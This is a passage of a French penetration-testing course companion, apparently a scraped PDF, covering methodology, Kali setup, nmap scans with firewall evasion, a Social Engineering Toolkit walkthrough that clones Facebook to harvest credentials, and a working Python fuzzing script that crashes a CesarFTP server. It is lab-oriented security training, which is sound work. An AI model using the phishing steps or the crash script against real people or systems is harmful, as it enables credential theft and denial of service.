Nothing Special   »   [go: up one dir, main page]

Hacking Et Securite Avance-1 PDF

Télécharger au format pdf ou txt
Télécharger au format pdf ou txt
Vous êtes sur la page 1sur 186

2019

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Table des matières


Préface..................................................................................................................................................... 4
Pré-requis ................................................................................................................................................ 5
1. Introduction au test de pénétration................................................................................................ 6
2. Définition et méthodologies de test de pénétration ...................................................................... 6
2.1 Définition : Etablir une portée ....................................................................................................... 6
2.2 Guide pour établir une portée ................................................................................................ 6
2.3 Méthodologie de test de pénétration ..................................................................................... 7
2.4 Concept de test de pénétration sous Kali Linux ...................................................................... 9
3. Configuration des services réseaux et communications sécurisées ............................................. 10
3.1 Configuration du service SSH ...................................................................................................... 10
3.2 Configuration du proxy ................................................................................................................ 11
4. Mise à jour de Kali Linux ................................................................................................................ 11
5. Identification ................................................................................................................................. 12
5.1 Objectif de l’identification ........................................................................................................... 12
5.2 Méthodologie de l’identification ................................................................................................. 13
5.3 Les recherches initiales................................................................................................................ 13
5.3.1 Les outils à utiliser ................................................................................................................ 13
5.3.2 Méthodologie de la recherche ............................................................................................. 14
5.4 Les techniques de scanning ......................................................................................................... 14
5.4.1 L’outil NMAP......................................................................................................................... 14
5.4.1 L’outil METASPLOIT .............................................................................................................. 16
6. Social Engineering ......................................................................................................................... 17
6.1 Le concept du social engineering ................................................................................................ 17
6.2 Le processus et méthodes du social engineering ........................................................................ 17
6.2.1 Le processus d’attaque en SE ............................................................................................... 17
6.2.2 Les méthodes d’attaques ..................................................................................................... 17
6.3 Le Social Engineering Toolkit [SET] .............................................................................................. 18
6.3.2 Introduction au SET .............................................................................................................. 18
6.3.2 Mise en place d’un site d’hameçonnage .............................................................................. 18
7. Dénis de service ............................................................................................................................. 19
7.1 Introduction ................................................................................................................................. 19
7.2 Le Fuzzing .............................................................................................................................. 19
7.2.1 Principe du fuzzing ........................................................................................................ 19
7.2.2 Exploitation du fuzzing .................................................................................................. 20
7.3 Les techniques du DoS........................................................................................................... 21
7.3.1 Outils ............................................................................................................................. 21
7.3.2 Les catégories de DOS / DDOS....................................................................................... 22
7.3.3 Exploitation des outils ................................................................................................... 22
7.4 Les botnets ............................................................................................................................ 25
7.4.1 Introduction .......................................................................................................................... 25
7.4.2 Création d'un réseau de machine zombie avec BeFF ........................................................... 26
8. Attaques Serveur-Side ................................................................................................................... 27
21/11/2019

8.1 Les recherches de vulnérabilités ................................................................................................. 27


8.1.1 Liste des outils ...................................................................................................................... 27
8.2 L'exploitation des vulnérabilités.................................................................................................. 31

1
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

8.3 Le brute force .............................................................................................................................. 35


8.3.1 Introduction .......................................................................................................................... 35
8.3.2 L'outil HYDRA ........................................................................................................................ 36
8.4 Le cracking de mot de passe........................................................................................................ 39
8.4.1 Introduction .......................................................................................................................... 39
8.4.2 John The Ripper .................................................................................................................... 40
9. Attaques Client-Side ...................................................................................................................... 42
9.1 Le Social Engineering Toolkit [SET] : mode avancé ..................................................................... 42
9.2 Le cracking de mot de passe utilisateurs............................................................................... 52
9.2.1 Introduction .......................................................................................................................... 52
9.2.2 Les méthodes de cracking .................................................................................................... 53
9.2.3 Le stockage de mots de passe .............................................................................................. 53
9.2.4 Les Rainbow Tables .............................................................................................................. 53
9.2.5 Mots de passe Windows....................................................................................................... 55
9.2.6 Mots de passe Linux ............................................................................................................. 56
9.2.7 Les outils ............................................................................................................................... 56
9.3 MITM Proxy ................................................................................................................................. 62
9.3.1 Introduction .......................................................................................................................... 62
9.3.2 Mise en situation de mitm ............................................................................................ 63
9.4 Scanning ...................................................................................................................................... 66
9.4.1 lbd ......................................................................................................................................... 66
9.4.2 xprobe2................................................................................................................................. 67
9.4.3 nmap..................................................................................................................................... 68
9.4.4 metasploit............................................................................................................................. 69
9.4.5 Nessus................................................................................................................................... 72
9.4.6 Recon-ng Framework ........................................................................................................... 75
9.4.7 Openvas ................................................................................................................................ 78
9.5 Exploitation.................................................................................................................................. 81
9.5.1 Les cibles............................................................................................................................... 81
9.5.2 Threat Modeling ................................................................................................................... 81
9.5.3 Mise en pratique de quelques outils .................................................................................... 82
9.6 Elévation de privilège .................................................................................................................. 98
9.6.1 Introduction .......................................................................................................................... 98
9.6.2 Type d'élévation de privilèges .............................................................................................. 99
9.6.3 Mise en pratique de l'élévation de privilèges ...................................................................... 99
9.7 Maintien d'accès........................................................................................................................ 102
9.7.1 Introduction ........................................................................................................................ 102
9.7.2 Liste des outils à utiliser ..................................................................................................... 102
9.8 Autres Techniques Poste Exploitation ....................................................................................... 105
9.8.1 Bypasser le contrôle d'utilisateur Windows ....................................................................... 105
9.8.2 Reconnaissance : Langage WMIC ....................................................................................... 107
9.8.3 Trouver des informations sensibles ................................................................................... 107
9.8.4 Migration du processus de meterpreter pour dissimuler notre présence ........................ 109
9.8.5 Savoir si notre cible est une machine virtuelle .................................................................. 109
21/11/2019

9.8.6 Récupération des états des outils de contre-mesure ........................................................ 110


9.8.7 Désactivation des outils de sécurité ................................................................................... 110
9.8.8 Dumper les registres de la cible ......................................................................................... 110
9.8.9 Récupération détaillée des informations sur notre cible ................................................... 111

2
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.8.10 Capture d'écran sur notre cible ........................................................................................ 112


9.8.11 Rejouer token d'authentification en utilisant incognito .................................................. 112
9.8.12 Elévation de privilèges horizontale → SYSTEM ................................................................ 113
9.8.13 Accès à distance ............................................................................................................... 113
9.8.14 Effacer les traces .............................................................................................................. 113
10 Attaques Web .......................................................................................................................... 114
10.1 Calcul du risque ................................................................................................................... 114
10.2 Scanning .............................................................................................................................. 115
10.3 Attaque sur l'authentification ............................................................................................. 133
10.4 Exploitation.......................................................................................................................... 138
11 Attaque sur les réseaux sans fils.............................................................................................. 148
11.1 Introduction aux attaques sur les réseaux sans fils............................................................. 148
11.1.1 Qu'est-ce qu'un handshake ? ........................................................................................... 148
11.2 La configuration ....................................................................................................................... 149
11.3 La reconnaissance ................................................................................................................... 150
11.3.1 Aircrack-ng........................................................................................................................ 150
11.3.2 Kismet ............................................................................................................................... 151
11.4 Bypassing HSSID ...................................................................................................................... 152
11.5 Bypassing MAC Address Authentification ............................................................................... 154
11.6 Attaque WEP ........................................................................................................................... 156
11.6.1 Mode manuel ................................................................................................................... 156
11.6.2 Mode automatique .......................................................................................................... 158
11.7 Attaque WPA et WPA2 ............................................................................................................ 160
11.7.1 Attaque Brute-Force ......................................................................................................... 161
11.7.2 Attaque Reaver ............................................................................................................ 163
11.8 Clonage de point d'accès ......................................................................................................... 164
11.8.1 Création d'un "faux" point d'accès ................................................................................... 164
11.8.2 Clonage d'un point d'accès ............................................................................................... 164
11.8.3 Utilisation de l'attaque Man In The Middle...................................................................... 166
11.9 L'attaque DoS .......................................................................................................................... 168
11.9.1 Aireplay-ng ....................................................................................................................... 168
11.9.2 Websploit ......................................................................................................................... 168
12 Reporting ................................................................................................................................. 170
12.1 Introduction au reporting .................................................................................................... 170
12.2 Les types de reporting ......................................................................................................... 171
12.3 Les outils de reporting sous Kali .......................................................................................... 174
13 Contre-mesures ....................................................................................................................... 182
13.1 Introduction............................................................................................................................. 182
13.2 Tester vos défenses ................................................................................................................. 182
13.2 Gestion des patches ................................................................................................................ 182
13.3 Politique de mots de passe ..................................................................................................... 183
13.4 Mirroring et Backup................................................................................................................. 183
13.5 Man In The Middle .................................................................................................................. 183
13.6 Cookie ...................................................................................................................................... 183
21/11/2019

13.7 Clickjacking .............................................................................................................................. 184


13.8 Forensic ................................................................................................................................... 184
14 Conclusion ............................................................................................................................... 184

3
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Préface
Bonjour à tous,

La question que je me suis posée est "Pourquoi créer un tel document ?" Voilà la réponse :

Technicien de maintenance en informatique de profession, j'ai eu la chance de pouvoir assister à une


formation dans le domaine de la sécurité informatique, en 2015. Depuis ce jour, je m'auto-forme
grâce à différentes formations, accessible aux débutants, et présentées par des experts dans le
domaine comme Hamza Kondah, formateur chez alphorm.com. Sa formation "Hacking et Sécurité :
Maitriser Les Techniques Avancées", m'a permis d'acquérir de nouvelles connaissances dans le
domaine, en apprenant à utiliser de nouveaux outils pour effectuer correctement un audit de
sécurité, de la partie préparation d'une méthode d'attaque, à la rédaction de rapport en passant,
bien sûr, par l'utilisation d'une panoplie d'outils pour détecter les différentes failles présentes dans
une infrastructure réseau. Son partage et ses conseils en tant qu'expert, m'ont donné l'idée de
partager à mon tour, un document en complément de cette formation qui pourra, je l'espère, être
utiliser en appui. Mon but est de rendre cette formation, accessible au plus débutant d'entre nous,
aux passionnés, qui comme moi, s'accrochent, même sans diplôme d'ingénieur, pour espérer un jour,
percer dans le domaine de la cybersécurité. Et oui, aujourd'hui, nombreuses sont les sociétés à avoir
des œillères sur ces personnes motivées et passionnées mais sans le niveau scolaire adéquat.

Je tiens à remercier, énormément, Hamza KONDAH, pour son accessibilité et de m'avoir laissé une
chance de pouvoir m'exprimer en partageant ce document aux autres.
Merci aussi au site Wikipédia qui m'a permis de mieux comprendre certains termes qui me
semblaient techniquement compliqué.

Sachez que ce document résulte d'une charge de travail d'une cinquantaine d'heure, avec, bien sûr,
un sacrifice sur ma vie de famille. Alors pour faire vivre et évoluer ce document, n'hésitez pas à me
faire des retours (correction, améliorations, …) sur mon adresse mail :
gudbes[RemplacerCeciParUnArobase]protomail.com.

Pour finir, voici l'un des secrets pour réussir dans ce domaine, le travail, le travail, le travail.

Vous souhaitant bonne lecture et bon courage !

Joan LE DU avec le travail d'Hamza KONDAH


21/11/2019

4
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pré-requis

Pour effectuer les différents tests, voici la liste des éléments que j'ai utilisés :

➢ Un ordinateur supportant la virtualisation niveau BIOS, mémoire, taille de disque, …


➢ Une machine virtuelle sous Métasploitable2
➢ Une machine virtuelle sous Kali
➢ Une machine virtuelle sous Debian
➢ Une machine virtuelle sous un système Windows de préférence Windows XP mais mes tests
ont été réalisés sous Windows 7
➢ Une carte wifi de chez Alfa Network. Voici la référence de la mienne : AWUS036NHA
➢ Un point d'accès paramétrable pour nos tests sur les protocoles WEP et WPA
➢ Un autre ordinateur, smartphone pour les tests de client wifi

Je pense ne rien avoir oublié.

21/11/2019

5
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

1. Introduction au test de pénétration


Evalution des risques :
Analyse des services afin d’identifier des vulnérabilités.


Test de pénétration :
Va plus loin que l’évaluation des risques :
Vérifie si les vulnérabilités trouvées sont des faux positifs ou pas

2. Définition et méthodologies de test de pénétration

2.1 Définition : Etablir une portée

Définir comment le test de pénétration commencera et sera exécuté


Connaissance de l’environnement
Cerner l’infrastructure
Aller droit au but

2.2 Guide pour établir une portée

Définition du système cible


Organisation sur papier des informations connues sur la cible (adressage, services, …)

Time Frame
Définir la durée

Comment la cible sera évaluée


Définir les points à exploiter / à tester sur la cible

Les outils
Définir les outils à utiliser pour chaque point.
21/11/2019

La partie prenante
Directe ou indirecte

6
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

L’état de départ [TDP]

Black Box : Aucune connaissance de l’entreprise : casquette du


hacker qui va attaquer directement.

White Box : Connaissances de ceux qui se passent dans


l’entreprise : Workflow / Infrastructure.

Grey Box : Connaissances limitées de l’entreprise.

Identification des SPOF (Single Point Of Failure)


Identifier les points importants qui pourraient rendre indisponible le réseau (point
qui sera attaqué en priorité)

Le flag
Définir les niveaux de risques des vulnérabilités.

Le livrable
Méthodologie lors de l’écriture du rapport

Correction et amélioration
Indiquer les corrections et amélioration à faire pour corriger les failles.

2.3 Méthodologie de test de pénétration


Plusieurs types de méthodologie disponible :

• Open Source Security Testing Methodology Manual


o ISECOM
o Test et analyse à effectuer
o Day-to-day : pas de planification de ce qui va se faire

Portée
Collecter les informations

Channel
Spécifier canal de communication à utiliser

Index
Indexer les canaux pour spécifier les types d’attaques qu’on va pouvoir utiliser

Vecteur
21/11/2019

Utilisation d’un vecteur d’attaque spécifique à exploiter

7
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

o Les standards :

Blind : On dispose de peu d’information concernant l’entreprise


Double blind : Equivalent à la « black box »
Gray box : On dispose de peu d’information concernant quelques vecteurs
Double gray box : Equivalent à la « white box »
Tandem : Détailler l’état d’avancement concernant la cible
Reversal : Equivalent à la « white box » avec le détail de ce qui a été testé ou
non, au fur et à mesure

• Information Systems Security Assessment Framework [ISSAF]

o Open Source
o Test et analyse
o Framework
o Niveau technique et manageriel
o Très riche niveau technique et contient plusieurs Baselines

• Open Web Application Security Project Testing Guide [OWASP]

o L’une des plus importantes méthodologies


o Communauté Open Source
o Secure Coding et meilleurs pratiques
o Orienté sur l’évaluation des risques

• Web Application Security Consortium Threat Classification [WASC-TC]

o Orienté identification des risques de sécurité


o Consiste à suivre une série de procédures de test
o Developement Life Cycle : orienté cycle de développement
o Similaire à l’OWASP
o Différentes visions :

Enumeration view : Enumération des techniques utilisées par l’application et


de ses failles
Development view : Méthodologie orientés "cycle de vie du développement"
Toxonomy cross-reference view : Indique la référence de la faille trouvée :
CVE
21/11/2019

8
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

• Penetration Testing Execution Standard [PTES]

o Efficace sur n’importe quel environnement : Conseillé pour les débutants


o 7 phases de test

Pre-engagement interactions : Définition avec le client du cahier des charges


de la façon la plus précise.
Intelligence gathering : récolte d’information
Threat modeling : Réalisation d’une cartographie des risques.
Vulnerability analysis : Analyse des vulnérabilités
Exploitation
Post-exploitation
Reporting : édition d’un rapport

2.4 Concept de test de pénétration sous Kali Linux

Les menus de Kali Linux se divisent comme suit :

1. Target Scoping : Etape pour mettre en place la portée de nos cibles


2. Information gathering : Récolte d’information
3. Target discovery : Analyse/découverte de la cible
4. Enumerating target : enumération des services/ports utilisés par la cible
5. Vulnerability mapping : Lister toutes les vulnérabilités
6. Social enginerring : failles humaines
7. Target exploitation : Exploitation des failles recensées (accès à un shell)
8. Privilege escalation : accéder au plus haut privilège : root
9. Maintaining access : Maintenir l’accès avec des backdoors, …
10. Documentation and reporting : Elaboration d’un rapport de façon professionnel
21/11/2019

9
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

3. Configuration des services réseaux et communications


sécurisées

3.1 Configuration du service SSH

# Par sécurité, il est préférable de regénérer les clés par défauts


# Déplacement vers le répertoire « /etc/ssh/ »
$ cd /etc/ssh/

# Création du dossier « keys_default »


$ mkdir keys_default

# Transfert des « anciennes clés » dans ce dossier


$ mv ssh_host_* keys_default

# Regénération de nouvelles clés


$ dpkg-reconfigure openssh-server

ALLER PLUS LOIN :

Il est possible de vérifier que les checksums des anciennes et nouvelles clés sont bien différents

$ md5sum * & md5sum keys_defaults/*


803ab86434558f907fa07d102a91687d ssh_host_ed25519_key

76c36071e8da3d1fdfb3a3e57ab63d0b keys_default/ssh_host_ed25519_key

# Démarrage du service SSH


$ /etc/init.d/ssh start

# Pour vérifier que le service SSH est bien lancé en tâche de fond
$ netstat -antp
Connexions Internet actives (serveurs et établies)
Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 4524/sshd
tcp 1 0 192.168.184.129:55508 192.99.200.113:80 CLOSE_WAIT 2810/http
tcp 0 0 192.168.184.129:55034 212.27.60.27:80 ESTABLISHED 2811/http
tcp6 0 0 :::22 :::* LISTEN 4524/sshd
21/11/2019

10
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO :

L'outil "NetStat" permet d'afficher les connexions actives (ports ouverts, ...) et d'afficher les
statistiques de l'interface (Nombre de paquet envoyé, ...)

-a : Affiche les connexions TCP et UDP avec l’état « LISTEN »


-n : Affiche les adresses au format numérique
-t : Affiche l’état de déchargement de connexion actuel
-p : Affiche le PID ainsi que le nom du processus : 4524/sshd

3.2 Configuration du proxy

# Modification du fichier « proxychains.conf »


$ vi /etc/proxychains.conf
Décommenter la ligne : dynamic_chain
Ajouter vos proxies dans la partie [ProxyList]

# Modification du fichier « bash.bashrc »


$ vi /etc/bash.bashrc
Ajouter à la fin du fichier, les lignes suivantes, actualisées à votre
configuration
• export ftp_proxy= ftp://user:password@proxyIP:port
• export http_proxy= « http://user:password@proxyIP:port »
• export https_proxy= « https://user:password@proxyIP:port »
• export socks_proxy= http://user:password@proxyIP:port

# Création et remplissage du fichier « apt.conf »


$ vi /etc/apt/apt.conf
• Aquire::ftp_proxy= ftp://user:password@proxyIP:port
• Aquire::http_proxy= « http://user:password@proxyIP:port »
• Aquire::https_proxy= « https://user:password@proxyIP:port »
• Aquire::socks_proxy= http://user:password@proxyIP:port

4. Mise à jour de Kali Linux


La première chose à faire, après l’installation de Kali, est de vérifier la présence de mise à jour

La commande « apt » récupère les sources issues du fichier « /etc/apt/source.list »

apt update : Mise à jour des sources


21/11/2019

apt upgrade : Mise à jour des applications


apt dist-upgrade : Mise à jour de la distri

11
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

5. Identification

5.1 Objectif de l’identification


Cette étape est très importante. Il faut bien se repérer avant d’attaquer, afin de faire cela avec plus
d’efficacité et de précision (savoir où frapper).

1. Background de la cible : phase de recherche : historique, …


2. Associés de la cible : facteur humain, …
3. Investissement en sécurité : découverte des moyens « sécurité informatique » mis en place.
4. Business & politique de sécurité : L’entreprise possède-t-elle des livres blancs, une politique
de sécurité, …
5. Personne en contact avec la cible : permet l’attaque en Social Engineering
6. Définir la (les) cible(s) : personne, serveur, …
7. Réseaux de la cible : découverte du réseau de la cible
8. Défenses de la cible : découverte des défenses de la cible
9. Technologie de la cible : découverte des technologies de la cible

Seulement après ces étapes, on peut commencer la phase de recherche de vulnérabilité, suivi de la
phase d’exploitation.
21/11/2019

12
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

5.2 Méthodologie de l’identification

L’objectif de l’identification est de rassembler le plus d’information possible facilitant ainsi


l’exploitation.

La cible peut nous identifier à tout moment mais plus nous allons vers l’analyse des vulnérabilités,
plus les chances de se faire détecter augmentent (IDS, …).
Il existe des techniques de camouflage comme par exemple : Ajuster le Stack IP, Nmap, ProxyChains
ou encore le réseau TOR.

5.3 Les recherches initiales

Les recherches initiales doivent se baser principalement sur les personnes et Business liées à la cible.
Il s’agit là de la base du pentesteur : analyser tous les aspects pour avoir la plus grande surface
d’attaque et ainsi « connaître son ennemi ».

5.3.1 Les outils à utiliser

o Shodan
o Region Internet Registries [RIRs]
o Electronic Data Gathering, Analysis, and Retrieval [EDGAR]
o Google Hacking Database

Il faut toujours commencer par le site web de l’entreprise puis compléter par des informations au
niveau des BDD publics pour éventuellement utiliser l’ingénierie sociale.
21/11/2019

13
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

5.3.2 Méthodologie de la recherche

1. Se connecter sur le site de l’entreprise pour y récupérer le maximum d’information.


2. Consulter le fichier « robots.txt » du site en question (exemple :
https://www.lancope.com/robots.txt) qui peut nous donner des informations sur des
dossiers et/ou fichiers « cachés »
3. Utilisation du « Google Hacking Database [GHDB] », pour cela, rendez-vous sur
https://www.exploit-db.com rubrique « Google Hacking Database ». Sélectionner le menu
souhaité (exemple : Sensitive Directory)
4. Utilisation des Registres Internet, par exemple : https://www.arin.net, https://www.sec.gov
(rubrique « Company Fillings ») ou encore https://www.societe.com
5. On peut compléter notre recherche, par le site whois (https://www.whois.net) qui nous
offrira grâce au nom de domaine, des informations supplémentaires.
6. Pour permettre de retrouver d’anciennes données ou de visualiser des versions antérieures
d’un site internet, le site https://www.archive.org est parfait pour cela.
7. Le site Shodan : https://www.shodan.io permet d’avoir accès aux objets quotidiens
connectés à Internet. On peut, par exemple, accéder à la caméra d’une entreprise ou pire au
système SCADA [ Système de contrôle d'acquisition de données ].

5.4 Les techniques de scanning

INFO :

Il existe 3 états possibles pour un port :

- OPEN : On envoie une requête SYN, on reçoit une SYN+ACK de la cible et on ferme la
connexion avec un RST

- CLOSE : On envoie une requête SYN, on reçoit une RST+ACK de la cible

- FILTERED : On envoie une requête SYN, on ne reçoit pas de réponse : indique généralement
un pare-feu quelque part

5.4.1 L’outil NMAP

La commande « nmap » permet de connaitre les ports ouverts sur notre cible.
# Scan de ports pour une machine unique
$ nmap 192.168.1.12

# Scan de ports pour des machines présentes sur un réseau donné


$ nmap 192.168.1.0/24
21/11/2019

# Scan de ports pour une portion d’adresse IP : ici de 192.168.1.1 à 192.168.1.20 et de 192.168.1.100
à 192.168.1.254
$ nmap 192.168.1.1-20,100-254

14
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Scan sur une machine cible avec choix des ports : ici les ports 21 et 80
$ nmap 192.168.1.12 -p 21,80

# Scan sur une machine cible avec plus de détail (mode verbose) -v : détaillé, -vv : très détaillé
$ nmap 192.168.1.12 -vv

# Scan en mode « rapide » : Ne scanne que les ports listés dans le fichier nmap-services
$ nmap 192.168.1.12 -F

# Scan d’un réseau avec exclusion d’une adresse IP définie


$ nmap 192.168.1.0/24 --exclude 191.168.1.210

# Scan faisant un simple ping avant de scanner le poste


$ nmap -PE 192.168.1.12

# Scan pour récupérer le timestamp (horodatage) : la date et l’heure


$ nmap -PP 192.168.1.12

# Scan pour récupérer le masque réseau


$ nmap -PM 192.168.1.12

# Scan pour savoir si le ou les poste(s) sont en ligne (protocole ICMP)


$ nmap -sP 192.168.1.0/24

# Scan permettant de cartographier les règles de pare-feu : ne détermine jamais les ports OPEN
# Envoie uniquement un flag ACK et qui doit répondre par une requête RST
# Si la réponse de la requête ACK est SYN+ACK, alors que les autres tests indiquent un port FILTRED.
# Attention backdoor possible
$ nmap -sA 192.168.1.12

# Scan idem que -sA mais avec une autre méthode (pour plus de détail :
https://nmap.org/book/scan-methods-window-scan.html)
$ nmap -sW 192.168.1.12

# Scan qui envoie une trame vide


# Le port est OPEN si la cible ne répond pas et le port est CLOSE si la cible répond par un paquet RST
$ nmap -sN 192.168.1.12

# Scan flag (Custom TCP) : personnalise notre trame : ici SYN+PSH+URG


$ nmap --scanflags SYNPSHURG 192.168.1.12 -p 21,80

# Scan utilisant traceroute pour visualiser les étapes de la connexion


$ nmap --traceroute google.fr -p 80
21/11/2019

# Scan qui analyse les bannières applicatives des programmes : découverte du nom du logiciel ainsi
que la version
$ nmap -sV 192.168.1.12 -p 80

15
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Scan idem à -sV mais avec le détail des options disponibles sur le service
$ nmap -sV 192.168.1.12 -p 80 --version-trace

# Scan permettant de récupérer le système d’exploitation utilisé (complété avec l’option -vv pour
plus de détail)
$ nmap -O 192.168.1.12

# Scan possible depuis un port autorisé (lors de la détection d’un pare-feu)


$ nmap 192.168.1.12 -g 22

# Scan rajoutant des octets en aléatoire dans la partie data (lors de la détection d’un pare-feu)
# NDRL : Semble assez puissant lors du test sur mon réseau
$ nmap 192.168.1.12 --data-length 4

# Scan avec modification de la TTL


$ nmap 192.168.1.12 --ttl 64

# Scan en mode sniffing : visualisation des paquets envoyés et reçus


# NDRL : Semble assez puissant lors du test sur mon réseau
$ nmap 192.168.1.12 -r -n -T2 --packet-trace -p 100-400

# Affichage des interfaces et des routes de l'hôte (pour débogage)


$ nmap --iflist

# Scan en mode debug (-dx ou x est le level du détail du scan)


$ nmap 192.168.1.12 -sS -n -d1

5.4.1 L’outil METASPLOIT

Pour lancer metasploit depuis un terminal : msfconsole

Pour afficher la liste des scanners disponibles :

Depuis le terminal : search auxiliary


Depuis le site (très bien expliqué) : https://www.offensive-security.com/metasploit-
unleashed/auxiliary-module-reference
21/11/2019

16
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

6. Social Engineering

6.1 Le concept du social engineering

Définition : Le social engineering est la pratique d’obtention d’informations critiques en exploitant la


faille humaine.

Sources littéraires intéressantes :

• Art Of Deception
• Social Engineering : The Art of Human Hacking

Cette technique peut être utilisée par les pentesteurs en cas de manque d’information sur la cible.
L’être humain représente le maillon le plus vulnérables dans une infrastructure.

6.2 Le processus et méthodes du social engineering

6.2.1 Le processus d’attaque en SE

6.2.2 Les méthodes d’attaques

o Usurpation d’identité : Usurpé l’identité d’une personne travaillant ou en contact


avec la cible

o Réciprocité : Créer un environnement de confiance partagé avec la cible : avis


politique, tendance technologique)

o Autorité influente : Se fait passer pour une personne hiérarchiquement supérieure à


la cible

o Profit : Pour les personnes qui jouent aux jeux de hasard : leur annoncer un gain

o Relation sociale : Utiliser les réseaux sociaux


21/11/2019

17
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

6.3 Le Social Engineering Toolkit [SET]

6.3.2 Introduction au SET

Le Social Engineering Toolkit [SET], est une boîte à outils pour l’Ingénierie Sociale, développé par la
société TrustedSec. Elle est open-source, multiplateforme, écrite en python et propose diverses
attaques basées sur de l’hameçonnage informatique. On peut ainsi copier des pages web contenant
des formulaires (Facebook, banque, …). De plus, elle intègre un outil de mail-bombing permettant de
spammer les boites mails et les numéros de téléphone. Elle peut être utilisée avec Metasploit.

6.3.2 Mise en place d’un site d’hameçonnage

# Editez le fichier « 000-default.conf » dans le dossier /etc/apache2/sites-enabled


$ nano /etc/apache2/sites-enabled/000-default.conf

# Vérifier que la ligne « DocumentRoot /var/www/ » existe bien

# Lancer le programme SET via le menu KALI -> 08 – Outils Exploitation -> social engineering toolkit

# Choisir 1) Social-Engineering Attacks

# Choisir 2) Website Attack Vectors

# Choisir 3) Credential Harvester Attack Method

# Choisir 2) Site Cloner

# Indiquer l’adresse IP de la machine local (exemple : 192.168.1.12)

# Choisir l’adresse du site web à cloner (exemple : www.facebook.com)

# Pour tester le site, tapez dans votre navigateur : 192.168.1.12

# Indiquer une adresse mail et un mot de passe

# Les données collectées s’affiche dans le terminal


21/11/2019

# Pour une meilleure finition, il est possible de lier www.facebook.com à 192.168.1.12 via le DNS

18
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

7. Dénis de service

7.1 Introduction

Une attaque par déni de service (abr. DoS attack pour Denial of Service attack en anglais) est une
attaque informatique ayant pour but de rendre indisponible un service, d'empêcher les utilisateurs
légitimes d'un service de l'utiliser. À l’heure actuelle la grande majorité de ces attaques se font à
partir de plusieurs sources, on parle alors d'attaque par déni de service distribuée (abr. DDoS attack
pour Distributed Denial of Service attack).
Une fois qu’une ressource est accessible via Internet, elle peut être sujette aux dénis de service.
Le DOS est difficile à stopper et peut être très couteux pour les sociétés, mais il existe des solutions
de contournement.

Dénis De Service [DOS] Dénis De Service Distribué [DDOS]


Attaque à partir d’une source Attaque à partir de plusieurs sources (PC Zombie 1, botnets2, …)

1
PC Zombie : ordinateur contrôlé à l'insu de son utilisateur par un cybercriminel.
2
Botnet : Programmes connectés à Internet exécutant certaines tâches.

7.2 Le Fuzzing

7.2.1 Principe du fuzzing

Le Fuzzing est une technique, pour tester les applications, qui consiste à injecter des données
aléatoires dans un programme et d’en étudier ses conséquences (bugs). Elle peut être intéressante
21/11/2019

pour trouver des Buffer OverFlow [BOF].

19
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Exemple de point d’entrée d’un programme :

Fichiers périphériques
Variables d’environnement
Réseau
Limitation des ressources

7.2.2 Exploitation du fuzzing

Pour tester un exploit basé sur le fuzzing nous allons utiliser l’exemple du logiciel connu pour sa
vulnérabilité : CesarFTP 0.99g avec un script en python : ftp_fuzz.py

#Source : Livre "Kali Linux Network Scanning Cook" – Chapitre 6 "Denial of Service" – page 299

#!/usr/bin/python

import socket
import sys

if len(sys.argv) != 5:
print (
"Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]")
print ("Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000")
print ("Example will fuzz the defined FTP service with a series of line break ")
print (
"characters to include 100 '\\n's, 200 '\\n's, etc... up to the maximum of 1000")
sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
i = int(sys.argv[3])
interval = int(sys.argv[3])
max = int(sys.argv[4])
user = raw_input(str("Enter ftp username: "))
passwd = raw_input(str("Enter ftp password: "))
command = raw_input(str("Enter FTP command to fuzz: "))

while i <= max:


try:
payload = command + " " + ('\n' * i)
print ("Sending " + str(i) + " line break characters to target")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((target, port))
s.recv(1024)
s.send('USER ' + user + '\r\n')
s.recv(1024)
s.send('PASS ' + passwd + '\r\n')
s.recv(1024)
s.send(payload + '\r\n')
s.send('QUIT\r\n')
s.recv(1024)
s.close()
i = i + interval
except:
print ("\nUnable to send...Server may have crashed")
sys.exit()

print ("\nThere is no indication that the server has crashed")


21/11/2019

20
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

NDLR :

Le script doit être lancé avec python2. Penser à désactiver le pare-feu de l’hôte hébergeant CesarFTP

# Lancement du script
